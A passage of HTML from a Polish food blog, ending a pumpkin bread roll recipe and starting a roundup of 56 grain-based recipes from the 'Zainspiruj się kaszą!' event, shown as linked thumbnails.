<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Następnie do dużej miski przesiać mąkę. Dodać sól, olej i puree z dyni. Wymieszać i stopniowo dodawać wodę (w zależności od wilgotności puree można dodać mniej lub więcej niż 1/3 szklanki). Zagniatać przez ok. 5-10 min do uzyskania jednolitego ciasta . W razie potrzeby podsypywać ciasto mąką. Z ciasta uformować kulę, umieścić ją w misce, przykryć ściereczką i pozostawić do wyrośnięcia na ok. 1,5 godz.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;">Po tym czasie ciasto podzielić na 10 części i z każdej uformować bułeczkę. Bułki układać w odstępach na blaszce wyłożonej papierem do pieczenia. Przykryć ściereczką i pozostawić do wyrośnięcia na ok. 20 min. Następnie każdą bułeczkę posmarować rozkłóconym jajkiem i posypać pestkami dyni. Wstawić do piekarnika nagrzanego do 190 stopni i piec z parą (np. z blaszką z wodą na dnie piekarnika) przez ok. 20 min, na złoty kolor.</span></span><br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMZEGn8Yw_ZHrrZ8Jdy7ZD7hZI12mHdc25uXunzaHlKPfnJOgtagztzcm9s-eOys3v_qVkWnAyH79YBkMylagdXVzN2wBO28h8I2URGNU5CAzTOtcko3DPGB255hLhsn9Xj_dQUA8xPdGp/s1600/DSC00391.JPG" imageanchor="1"><img border="0" height="488" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMZEGn8Yw_ZHrrZ8Jdy7ZD7hZI12mHdc25uXunzaHlKPfnJOgtagztzcm9s-eOys3v_qVkWnAyH79YBkMylagdXVzN2wBO28h8I2URGNU5CAzTOtcko3DPGB255hLhsn9Xj_dQUA8xPdGp/s640/DSC00391.JPG" width="640" /></a></div>
<div style="text-align: center;">
<span style="font-size: x-large;"><span style="font-family: "trebuchet ms" , sans-serif;"><br /></span></span></div>
</div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com9tag:blogger.com,1999:blog-9022088188921604476.post-88237427408180274342016-01-01T22:00:00.000+01:002016-01-01T22:00:24.532+01:00Podsumowanie III edycji akcji "Zainspiruj się kaszą!"<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: Verdana,sans-serif;">Zapraszam na nieco spóźnione podsumowanie akcji "Zainspiruj się kaszą!". Była to już III edycja! Tym razem udało nam się zgromadzić 56 ciekawych propozycji! Dużą popularnością cieszyła się kasza gryczana, która została użyta m.in. jako składnik chleba, naleśników oraz ciasta. Również kasza jaglana przybierała ciekawą postać - robiliśmy z niej kotlety, pasztety, serniki oraz ciastka. Ale pojawiły się też dania z pęczakiem i </span></span><span style="font-size: large;"><span style="font-family: Verdana,sans-serif;">quinoa. Zapraszam do przejrzenia wszystkich przepisów!</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><span style="font-family: Verdana,sans-serif;">A czy są chętni do udziału w kolejnej edycji? :) </span></span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRDjO8Mtl6ebd9xAfge9-JdYxV1iKpV-B_CyiyYjZaGFnR4QAbXYvr9tZLgL3pUA-di25la-jtHQvehKS1378OcOCm58iz_POOCxjHqDF7ntfAGRFvt7gZx4KcxV7icFv1TxYvGnVBnGo5/s1600/kasza.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="515" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRDjO8Mtl6ebd9xAfge9-JdYxV1iKpV-B_CyiyYjZaGFnR4QAbXYvr9tZLgL3pUA-di25la-jtHQvehKS1378OcOCm58iz_POOCxjHqDF7ntfAGRFvt7gZx4KcxV7icFv1TxYvGnVBnGo5/s640/kasza.JPG" width="640" /></a></div>
<br />
<br />
<br />
<div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/760879" target="_blank" title="Chleb pszenno-orkiszowy z ziarnami (na zakwasie)"><img alt="Chleb pszenno-orkiszowy z ziarnami (na zakwasie)" src="http://static.zmiksowani.pl/image/photo/2015/06/10/760879_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Chleb pszenno-orkiszowy z ziarnami (na zakwasie)</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/774806" target="_blank" title="Orzechowo-kokosowe ciasteczka z kaszy jaglanej"><img alt="Orzechowo-kokosowe ciasteczka z kaszy jaglanej" src="http://static.zmiksowani.pl/image/photo/2015/07/07/774806_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Orzechowo-kokosowe ciasteczka z kaszy jaglanej</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/760104" target="_blank" title="Zdrowy nowalijkowy obiad w 15 minut"><img alt="Zdrowy nowalijkowy obiad w 15 minut" src="http://static.zmiksowani.pl/image/photo/2015/06/08/760104_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Zdrowy nowalijkowy obiad w 15 minut</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/760637" target="_blank" title="Truskawki z czekoladą i miętą na kuskusie"><img alt="Truskawki z czekoladą i miętą na kuskusie" src="http://static.zmiksowani.pl/image/photo/2015/06/09/760637_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Truskawki z czekoladą i miętą na kuskusie</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/762915" target="_blank" title="Wegetariańskie gołąbki zapiekane"><img alt="Wegetariańskie gołąbki zapiekane" src="http://static.zmiksowani.pl/image/photo/2015/06/15/762915_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Wegetariańskie gołąbki zapiekane</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/768907" target="_blank" title="Bezglutenowe kluski (prawie)śląskie i wspomnienie Londynu"><img alt="Bezglutenowe kluski (prawie)śląskie i wspomnienie Londynu" src="http://static.zmiksowani.pl/image/photo/2015/06/27/768907_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Bezglutenowe kluski (prawie)śląskie i wspomnienie Londynu</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/769363" target="_blank" title="Chleb z kaszą gryczaną na zakwasie"><img alt="Chleb z kaszą gryczaną na zakwasie" src="http://static.zmiksowani.pl/image/photo/2015/06/29/769363_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Chleb z kaszą gryczaną na zakwasie</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/769625" target="_blank" title="Kurczak tikka masala"><img alt="Kurczak tikka masala" src="http://static.zmiksowani.pl/image/photo/2015/06/29/769625_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kurczak tikka masala</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/770962" target="_blank" title="Sałatka z bobem i kaszą gryczaną oraz wspomnienie Tate Modern"><img alt="Sałatka z bobem i kaszą gryczaną oraz wspomnienie Tate Modern" src="http://static.zmiksowani.pl/image/photo/2015/06/30/770962_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Sałatka z bobem i kaszą gryczaną oraz wspomnienie Tate Modern</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/760830" target="_blank" title="Pasztet z kaszy jaglanej z orzechami"><img alt="Pasztet z kaszy jaglanej z orzechami" src="http://static.zmiksowani.pl/image/photo/2015/06/10/760830_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Pasztet z kaszy jaglanej z orzechami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/764659" target="_blank" title="Kasza jaglana z cukinią, fetą i suszonymi pomidorami"><img alt="Kasza jaglana z cukinią, fetą i suszonymi pomidorami" src="http://static.zmiksowani.pl/image/photo/2015/06/18/764659_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kasza jaglana z cukinią, fetą i suszonymi pomidorami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/771697" target="_blank" title="Kasza owsiana z boczkiem, szpinakiem i twarogiem"><img alt="Kasza owsiana z boczkiem, szpinakiem i twarogiem" src="http://static.zmiksowani.pl/image/photo/2015/07/02/771697_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kasza owsiana z boczkiem, szpinakiem i twarogiem</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/774628" target="_blank" title="Sałatka z komosą ryżową i tuńczykiem"><img alt="Sałatka z komosą ryżową i tuńczykiem" src="http://static.zmiksowani.pl/image/photo/2015/07/06/774628_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Sałatka z komosą ryżową i tuńczykiem</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/760204" target="_blank" title="Wegańskie kotleciki z botwinki"><img alt="Wegańskie kotleciki z botwinki" src="http://static.zmiksowani.pl/image/photo/2015/06/08/760204_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Wegańskie kotleciki z botwinki</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/761107" target="_blank" title="Jaglany nibysernik z sosem truskawkowym"><img alt="Jaglany nibysernik z sosem truskawkowym" src="http://static.zmiksowani.pl/image/photo/2015/06/10/761107_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Jaglany nibysernik z sosem truskawkowym</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/763852" target="_blank" title="Gołąbki z liści rzodkiewki"><img alt="Gołąbki z liści rzodkiewki" src="http://static.zmiksowani.pl/image/photo/2015/06/16/763852_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Gołąbki z liści rzodkiewki</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/761596" target="_blank" title="Brownie z kaszy gryczanej z musem truskawkowo-miętowym"><img alt="Brownie z kaszy gryczanej z musem truskawkowo-miętowym" src="http://static.zmiksowani.pl/image/photo/2015/06/11/761596_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Brownie z kaszy gryczanej z musem truskawkowo-miętowym</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/767283" target="_blank" title="Kaszotto szparagowe"><img alt="Kaszotto szparagowe" src="http://static.zmiksowani.pl/image/photo/2015/06/23/767283_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kaszotto szparagowe</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/771967" jaglanej="" kaszy="" na="" owocami="" sernik="" target="_blank" title="" z="" zimno=""><img alt="" src="http://static.zmiksowani.pl/image/photo/2015/07/02/771967_90.jpg" height="90" jaglanej="" kaszy="" na="" owocami="" sernik="" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" z="" zimno="" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
"Sernik" na zimno z kaszy jaglanej z owocami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/763702" target="_blank" title="Jaglanka- kasza jaglana z truskawkami"><img alt="Jaglanka- kasza jaglana z truskawkami" src="http://static.zmiksowani.pl/image/photo/2015/06/16/763702_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Jaglanka- kasza jaglana z truskawkami</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/765472" target="_blank" title="Placki z cukinii i kaszy jęczmiennej"><img alt="Placki z cukinii i kaszy jęczmiennej" src="http://static.zmiksowani.pl/image/photo/2015/06/20/765472_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Placki z cukinii i kaszy jęczmiennej</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/771517" target="_blank" title="Lubelskie pierogi z kaszą gryczaną i białym serem"><img alt="Lubelskie pierogi z kaszą gryczaną i białym serem" src="http://static.zmiksowani.pl/image/photo/2015/07/01/771517_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Lubelskie pierogi z kaszą gryczaną i białym serem</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/768270" target="_blank" title="Hipnotyzer - truskawkowe ciasto z kremem jaglanym bez pieczenia bez cukru"><img alt="Hipnotyzer - truskawkowe ciasto z kremem jaglanym bez pieczenia bez cukru" src="http://static.zmiksowani.pl/image/photo/2015/06/26/768270_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Hipnotyzer - truskawkowe ciasto z kremem jaglanym bez pieczenia bez cukru</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/764400" target="_blank" title="Rolada z kremem waniliowym i owocami bez pieczenia bez cukru"><img alt="Rolada z kremem waniliowym i owocami bez pieczenia bez cukru" src="http://static.zmiksowani.pl/image/photo/2015/06/18/764400_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Rolada z kremem waniliowym i owocami bez pieczenia bez cukru</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/765507" target="_blank" title="Naleśniki gryczane - bezglutenowe"><img alt="Naleśniki gryczane - bezglutenowe" src="http://static.zmiksowani.pl/image/photo/2015/06/20/765507_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Naleśniki gryczane - bezglutenowe</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a bezglutenowe="" href="http://zmiksowani.pl/przepis/767581" target="_blank" title="Kruche ciasteczka jaglano-gryczano-ryżowe "><img alt="Kruche ciasteczka jaglano-gryczano-ryżowe " bezglutenowe="" src="http://static.zmiksowani.pl/image/photo/2015/06/24/767581_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Kruche ciasteczka jaglano-gryczano-ryżowe "bezglutenowe"</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/768666" target="_blank" title="Najprostsza wegańska quiche jaglana z warzywami i tofu. Bez mąki!"><img alt="Najprostsza wegańska quiche jaglana z warzywami i tofu. Bez mąki!" src="http://static.zmiksowani.pl/image/photo/2015/06/26/768666_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Najprostsza wegańska quiche jaglana z warzywami i tofu. Bez mąki!</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/765728" target="_blank" title="Zapiekanka ziemniaczana z kaszą jaglaną, pieczarkami i szpinakiem"><img alt="Zapiekanka ziemniaczana z kaszą jaglaną, pieczarkami i szpinakiem" src="http://static.zmiksowani.pl/image/photo/2015/06/20/765728_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Zapiekanka ziemniaczana z kaszą jaglaną, pieczarkami i szpinakiem</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/764720" target="_blank" title="Keks z kaszy jaglanej"><img alt="Keks z kaszy jaglanej" src="http://static.zmiksowani.pl/image/photo/2015/06/18/764720_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Keks z kaszy jaglanej</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
<a href="http://zmiksowani.pl/przepis/768589" target="_blank" title="Tarta jaglano-truskawkowa"><img alt="Tarta jaglano-truskawkowa" src="http://static.zmiksowani.pl/image/photo/2015/06/26/768589_90.jpg" height="90" style="-moz-border-radius: 5px; -moz-box-shadow: 0px 5px 15px -5px #dfdfdf; -webkit-border-radius: 5px; -webkit-box-shadow: 0px 5px 15px -5px #dfdfdf; border-radius: 5px; border-width: 1px 2px 2px 1px; border: 1px solid #dfdfdf; box-shadow: 0px 5px 15px -5px #dfdfdf; height: 90px; padding: 0px; width: 90px;" width="90" /></a><br />
<div style="font-size: 11px; height: 37px; line-height: 12px; overflow: hidden; position: relative; text-align: left; width: 90px;">
Tarta jaglano-truskawkowa</div>
</div>
<div style="float: left; height: 140px; width: 98px;">
